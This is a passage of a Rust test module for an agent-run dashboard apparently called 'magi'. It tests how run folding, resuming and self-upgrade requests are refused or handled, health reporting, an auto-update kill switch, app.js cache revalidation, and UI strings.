6507 let wt = fx.home.path().join("wt").join("magi").join("gone");
6508 let id = "20260901-000000-gone";
6509 std::fs::create_dir_all(runs.join(id)).expect("run dir");
6510 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
6511 std::fs::create_dir_all(&wt).expect("worktree dir");
6512
6513 let res = fx.delete(&format!("/api/runs/{id}")).await;
6514 assert_eq!(res.status, 204, "{}", res.body);
6515 assert!(!runs.join(id).exists(), "the broken record is gone");
6516 assert!(!wt.exists(), "its worktree is gone too");
6517 }
6518
6519 #[tokio::test]
6520 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
6521 let fx = Fixture::start().await;
6522 let runs = fx.runs();
6523 let id = "20260901-000000-live";
6524 write_run(&runs, id, RunStatus::Implementing);
6525
6526 let mut beat = crate::daemon::Status::new();
6527 beat.current = vec![crate::daemon::Current {
6528 task: "20260901-000000-task".to_owned(),
6529 run: id.to_owned(),
6530 }];
6531 beat.updated_at = jiff::Timestamp::now();
6532 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6533 .expect("publish a heartbeat");
6534
6535 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6536 assert_eq!(res.status, 409);
6537 assert!(
6538 res.json()["error"]
6539 .as_str()
6540 .unwrap()
6541 .contains("live daemon"),
6542 "folding under a running agent would pull its worktree away"
6543 );
6544 }
6545
6546 #[tokio::test]
6547 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
6548 let fx = Fixture::start().await;
6549 let runs = fx.runs();
6550
6551 for (status, word) in [
6557 (RunStatus::Merged, "merged"),
6558 (RunStatus::Ready, "ready"),
6559 (RunStatus::Failed, "failed"),
6560 ] {
6561 let id = format!("20260901-000000-{}", &word[..4]);
6562 write_run(&runs, &id, status);
6563 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
6564 assert_eq!(res.status, 409, "{word} must not be resumable");
6565 let err = res.json()["error"].as_str().unwrap().to_owned();
6566 assert!(err.contains(word), "the refusal names the status: {err}");
6567 }
6568
6569 let mid = "20260901-000000-midf";
6574 write_run(&runs, mid, RunStatus::Reviewing);
6575 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
6576 assert_eq!(res.status, 202, "an interrupted run is resumable");
6577 }
6578
6579 #[tokio::test]
6580 async fn resume_is_refused_while_the_loop_is_running() {
6581 let fx = Fixture::start().await;
6582 let runs = fx.runs();
6583 let stalled = "20260901-000000-stal";
6584 write_run(&runs, stalled, RunStatus::Stalled);
6585
6586 let mut beat = crate::daemon::Status::new();
6590 beat.current = vec![crate::daemon::Current {
6591 task: "20260901-000000-task".to_owned(),
6592 run: "20260901-000000-othr".to_owned(),
6593 }];
6594 beat.updated_at = jiff::Timestamp::now();
6595 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6596 .expect("publish a heartbeat");
6597
6598 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
6599 assert_eq!(res.status, 409);
6600 let err = res.json()["error"].as_str().unwrap().to_owned();
6601 assert!(err.contains("othr"), "it names what the loop is on: {err}");
6602 assert!(err.contains("stop it first"), "{err}");
6603 }
6604
6605 #[test]
6606 fn a_run_cannot_be_resumed_twice_at_once() {
6607 let home = TempDir::new().expect("temp home");
6608 let ui = Ui::new(
6609 Queue::at(home.path().join("queue")),
6610 Questions::at(home.path().join("questions")),
6611 Talks::at(home.path().join("talks")),
6612 home.path().join("runs"),
6613 home.path().to_path_buf(),
6614 PathBuf::from("/repo"),
6615 )
6616 .with_worktrees_root(home.path().join("wt"));
6617 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
6618 let again = ui.begin_resume("20260901-000000-once");
6619 assert!(again.is_err(), "a second tap must not start a second graph");
6620 drop(first);
6621 assert!(
6622 ui.begin_resume("20260901-000000-once").is_ok(),
6623 "and the claim is released when the attempt ends"
6624 );
6625 }
6626
6627 #[tokio::test]
6628 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
6629 let fx = Fixture::start().await;
6630 let mut beat = crate::daemon::Status::new();
6634 beat.pid = 4321;
6635 beat.updated_at = jiff::Timestamp::now();
6636 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6637 .expect("publish a heartbeat");
6638
6639 let res = fx.post("/api/upgrade", None).await;
6640 assert_eq!(res.status, 409);
6641 let err = res.json()["error"].as_str().unwrap().to_owned();
6642 assert!(err.contains("4321"), "the refusal names the owner: {err}");
6643 assert!(err.contains("old one against the same queue"), "{err}");
6644 }
6645
6646 #[test]
6653 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
6654 assert!(!should_spawn_recheck(&crate::config::Update {
6655 mode: UpdateMode::Off,
6656 interval: None,
6657 }));
6658
6659 unsafe {
6662 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
6663 }
6664 let killed = should_spawn_recheck(&crate::config::Update {
6665 mode: UpdateMode::Notify,
6666 interval: None,
6667 });
6668 unsafe {
6669 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
6670 }
6671 assert!(
6672 !killed,
6673 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
6674 one-time startup check"
6675 );
6676
6677 assert!(should_spawn_recheck(&crate::config::Update {
6678 mode: UpdateMode::Notify,
6679 interval: None,
6680 }));
6681 }
6682
6683 #[test]
6689 fn recheck_poll_period_tracks_a_short_configured_interval() {
6690 let short = crate::config::Update {
6691 mode: UpdateMode::Notify,
6692 interval: Some("1m".to_owned()),
6693 };
6694 let period = recheck_poll_period(&short);
6695 assert!(
6696 period <= Duration::from_secs(30),
6697 "a one-minute interval must wake the task far sooner than the \
6698 default ceiling, or the deck would not notice within the \
6699 interval the operator configured: got {period:?}"
6700 );
6701
6702 let default = crate::config::Update {
6703 mode: UpdateMode::Notify,
6704 interval: None,
6705 };
6706 assert_eq!(
6707 recheck_poll_period(&default),
6708 UPDATE_RECHECK_POLL_MAX,
6709 "the default day-long interval should poll at the (capped) \
6710 ceiling rather than needlessly often"
6711 );
6712 }
6713
6714 #[test]
6722 fn recheck_skips_the_network_before_the_interval_elapses() {
6723 let dir = TempDir::new().expect("temp dir");
6724 let path = dir.path().join("state.json");
6725 let state = kaishin::UpdateCheckState {
6726 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
6727 last_known_latest: None,
6728 last_known_url: None,
6729 };
6730 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
6731
6732 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
6733 assert!(
6734 !update_recheck_due(&checker, None),
6735 "a check made moments ago must not be repeated before the \
6736 configured interval elapses"
6737 );
6738 }
6739
6740 #[test]
6746 fn recheck_defers_to_an_upgrade_already_in_flight() {
6747 let dir = TempDir::new().expect("temp dir");
6748 let path = dir.path().join("state.json");
6749 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
6750 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
6751
6752 assert!(
6753 !update_recheck_due(&checker, Some(&progress)),
6754 "a recheck must not run while an upgrade this deck started is \
6755 still moving"
6756 );
6757 }
6758
6759 #[tokio::test]
6760 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
6761 unsafe {
6773 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
6774 }
6775 let fx = Fixture::start().await;
6776 let res = fx.post("/api/upgrade", None).await;
6777 unsafe {
6778 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
6779 }
6780 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
6781 let body = res.json();
6782 assert!(body["to"].is_null(), "there was no release to move to");
6783 assert!(body["parked"].is_null(), "and nothing was parked");
6784 assert!(
6785 body["detail"]
6786 .as_str()
6787 .unwrap()
6788 .contains("disabled by MAGI_NO_AUTOUPDATE"),
6789 "{body:?}"
6790 );
6791 }
6792
6793 #[tokio::test]
6794 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
6795 let repo = TempDir::new().expect("repo dir");
6811 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
6812 .expect("write magi.toml");
6813 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
6814
6815 let res = fx.post("/api/upgrade", None).await;
6821 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
6822 let body = res.json();
6823 assert!(body["to"].is_null(), "there was no release to move to");
6824 assert!(body["parked"].is_null(), "and nothing was parked");
6825 assert!(
6826 body["detail"]
6827 .as_str()
6828 .unwrap()
6829 .contains("nothing restarted"),
6830 "{body:?}"
6831 );
6832 }
6833
6834 #[tokio::test]
6835 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
6836 let repo = TempDir::new().expect("repo dir");
6841 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
6842 .expect("write magi.toml");
6843 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
6844
6845 let health = fx.get("/api/health").await.json();
6846 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
6847 assert_eq!(
6848 health["update"]["available"], false,
6849 "checking is off, which reads as \"unknown\", not \"none\""
6850 );
6851 assert!(health["update"]["to"].is_null());
6852 assert!(
6853 health["upgrade"].is_null(),
6854 "nothing has ever asked this deck to upgrade"
6855 );
6856 }
6857
6858 #[tokio::test]
6859 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
6860 let fx = Fixture::start().await;
6861 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
6862
6863 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
6864 progress.parked_run = Some("20260905-000000-cd51".to_owned());
6865 progress.advance(crate::updater::Stage::Parking);
6866 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
6867
6868 let health = fx.get("/api/health").await.json();
6869 assert_eq!(health["upgrade"]["stage"], "parking");
6870 assert_eq!(health["upgrade"]["from"], "0.5.1");
6871 assert_eq!(health["upgrade"]["to"], "0.5.2");
6872 let waiting_on = health["upgrade"]["waiting_on"]
6873 .as_str()
6874 .expect("waiting_on is set while parking a known run");
6875 assert!(waiting_on.contains("cd51"), "{waiting_on}");
6876 assert!(waiting_on.contains("implementing"), "{waiting_on}");
6877 }
6878
6879 #[tokio::test]
6880 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
6881 let fx = Fixture::start().await;
6882 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
6883 progress.advance(crate::updater::Stage::Done);
6884 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
6885
6886 let health = fx.get("/api/health").await.json();
6887 assert_eq!(health["upgrade"]["stage"], "done");
6888 assert!(
6889 health["upgrade"]["waiting_on"].is_null(),
6890 "nothing to wait on once it is done"
6891 );
6892 }
6893
6894 #[tokio::test]
6895 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
6896 let home = TempDir::new().expect("temp home");
6897 let runs = home.path().join("runs");
6898 std::fs::create_dir_all(&runs).expect("runs dir");
6899 let ui = Ui::new(
6900 Queue::at(home.path().join("queue")),
6901 Questions::at(home.path().join("questions")),
6902 Talks::at(home.path().join("talks")),
6903 runs,
6904 home.path().to_path_buf(),
6905 PathBuf::from("/repo/magi"),
6906 )
6907 .with_launch(launch_idle);
6908 let looping = ui.looping();
6909 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6910 .await
6911 .expect("bind loopback");
6912 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6913
6914 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
6915 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
6916
6917 hand_over(home.path(), &looping, served, || Ok(()))
6918 .await
6919 .expect("hand over");
6920
6921 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
6922 assert_eq!(
6923 after.stage,
6924 crate::updater::Stage::Restarting,
6925 "hand_over owns the record through parking and up to restarting; \
6926 the successor is what finishes it"
6927 );
6928 }
6929
6930 #[test]
6931 fn the_upgrade_button_arms_before_it_restarts_anything() {
6932 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
6935 assert!(APP_JS.contains("Replace the binary and restart?"));
6936 assert!(APP_JS.contains("function confirmed("));
6937 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
6942 assert!(
6946 APP_JS.contains("Parking, then restarting"),
6947 "the button says what it is waiting for"
6948 );
6949 assert!(APP_JS.contains("if (!out.to)"));
6952 }
6953
6954 #[test]
6955 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
6956 assert!(
6957 APP_JS.contains("state.health.version"),
6958 "the operator wants to know what is running even with nothing newer"
6959 );
6960 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
6961 }
6962
6963 #[test]
6964 fn the_upgrade_button_names_its_destination() {
6965 assert!(
6966 APP_JS.contains("`Update to ${update.to}`"),
6967 "pressing the button should not be a surprise about what it moves to"
6968 );
6969 }
6970
6971 #[test]
6972 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
6973 for stage in ["downloading", "replaced", "parking", "restarting"] {
6974 assert!(
6975 APP_JS.contains(&format!("\"{stage}\"")),
6976 "the phone must be able to tell {stage} apart from the others"
6977 );
6978 }
6979 assert!(APP_JS.contains(".waiting_on"));
6980 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
6985 assert!(APP_JS.contains("reconnects on its own"));
6986 }
6987
6988 #[test]
6989 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
6990 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
6999 ..APP_JS.find("function upgrade(").expect("upgrade")];
7000 assert!(
7001 !body.contains(
7002 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
7003 ),
7004 "a failed upgrade must not take the whole strip over the way it used to"
7005 );
7006 assert!(
7007 body.contains("upgradeFailNote"),
7008 "the failure has to reach the loop's own note instead"
7009 );
7010 assert_eq!(
7014 body.matches("upgradeFailNote].filter(Boolean).join")
7015 .count(),
7016 2,
7017 "both loop-why writers (quiet and control) must fold the note in"
7018 );
7019 }
7020
7021 #[test]
7022 fn an_overdue_upgrade_eventually_asks_for_a_human() {
7023 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
7026 assert!(APP_JS.contains("function upgradeOverdue("));
7027 }
7028
7029 #[test]
7030 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
7031 assert!(
7032 APP_JS.contains("Updated to ${upgradeInfo.to"),
7033 "the operator who asked for the restart wants to know it worked"
7034 );
7035 }
7036
7037 #[test]
7038 fn an_error_is_visible_from_where_the_button_is() {
7039 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
7044 ..APP_CSS.find(".alert-text").expect(".alert-text")];
7045 assert!(
7046 alert.contains("position: fixed"),
7047 "an error about the thing under your thumb has to be visible from \
7048 where your thumb is: {alert}"
7049 );
7050 assert!(
7051 alert.contains("z-index: 25"),
7052 "above the dock (20) and the run-actions FAB (15), so neither \
7053 buries it: {alert}"
7054 );
7055 assert!(
7056 alert.contains("var(--tap)"),
7057 "and clear of the dock and the home indicator: {alert}"
7058 );
7059 assert!(
7062 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
7063 "the FAB's column stays free: {alert}"
7064 );
7065 }
7066
7067 #[tokio::test]
7068 async fn an_older_attempt_says_what_replaced_it() {
7069 let fx = Fixture::start().await;
7070 let q = fx.queue();
7071 let runs = fx.runs();
7072 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
7073 write_run(&runs, first, RunStatus::Stalled);
7074 write_run(&runs, second, RunStatus::Blocked);
7075
7076 let mut t = Task::new(
7077 "one task".to_owned(),
7078 "do it".to_owned(),
7079 PathBuf::from("/repo"),
7080 Source::Human,
7081 );
7082 t.runs = vec![first.to_owned(), second.to_owned()];
7083 q.put(&mut t).expect("put");
7084
7085 let rows = fx.get("/api/runs").await.json();
7089 let by = |short: &str| -> Value {
7090 rows.as_array()
7091 .unwrap()
7092 .iter()
7093 .find(|r| r["short"] == short)
7094 .cloned()
7095 .unwrap_or(Value::Null)
7096 };
7097 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
7098 assert!(
7099 by("bbbb")["superseded_by"].is_null(),
7100 "the latest attempt is not superseded by anything"
7101 );
7102 assert!(APP_JS.contains("run.superseded_by"));
7104 assert!(APP_JS.contains("Superseded by"));
7105 }
7106
7107 #[tokio::test]
7108 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
7109 let fx = Fixture::start().await;
7110 let js = fx.get("/app.js").await;
7116 assert_eq!(js.status, 200);
7117 let tag = js
7118 .header("etag")
7119 .expect("an etag to revalidate against")
7120 .to_owned();
7121 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
7122 assert_eq!(
7123 js.header("cache-control"),
7124 Some("no-cache, must-revalidate"),
7125 "the phone has to ask every time"
7126 );
7127
7128 let again = fx
7131 .get_with("/app.js", &[("if-none-match", tag.as_str())])
7132 .await;
7133 assert_eq!(
7134 again.status, 304,
7135 "a deck it already has costs one round trip"
7136 );
7137 assert!(again.body.is_empty(), "304 carries no body");
7138
7139 let weak = fx
7142 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
7143 .await;
7144 assert_eq!(weak.status, 304);
7145 let stale = fx
7146 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
7147 .await;
7148 assert_eq!(stale.status, 200, "an older build must be replaced");
7149 assert!(stale.body.contains("renderRunActions"));
7150 }
7151
7152 #[test]
7153 fn the_deck_never_sends_the_operator_to_a_terminal() {
7154 assert!(
7157 !APP_JS.contains("Run `magi fold` first"),
7158 "the deck must offer the fold, not prescribe a shell command"
7159 );
7160 assert!(APP_JS.contains("foldRun:"));
7161 assert!(APP_JS.contains("resumeRun:"));
7162 assert!(APP_JS.contains("renderRunActions"));
7163
7164 assert!(APP_JS.contains("armedFold"));
7166 assert!(APP_JS.contains("Yes, fold worktrees"));
7167
7168 assert!(APP_JS.contains("can no longer be resumed"));
7171 }
7172
7173 #[test]
7174 fn a_finished_run_explains_itself_with_its_own_last_line() {
7175 assert!(
7181 !APP_JS.contains("collapsed on agent quota"),
7182 "a stall must not be explained by a cause the deck did not check"
7183 );
7184 assert!(
7185 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
7186 "and a block must not offer a guess with an `or` in it"
7187 );
7188
7189 assert!(
7193 APP_JS.contains("setText(r.event, run.event || \"\")"),
7194 "the run's last line is rendered unconditionally"
7195 );
7196 assert!(
7197 !APP_JS.contains("moving && run.event"),
7198 "and never gated on the run still moving"
7199 );
7200
7201 assert!(APP_JS.contains("lost to quota"));
7203 }
7204}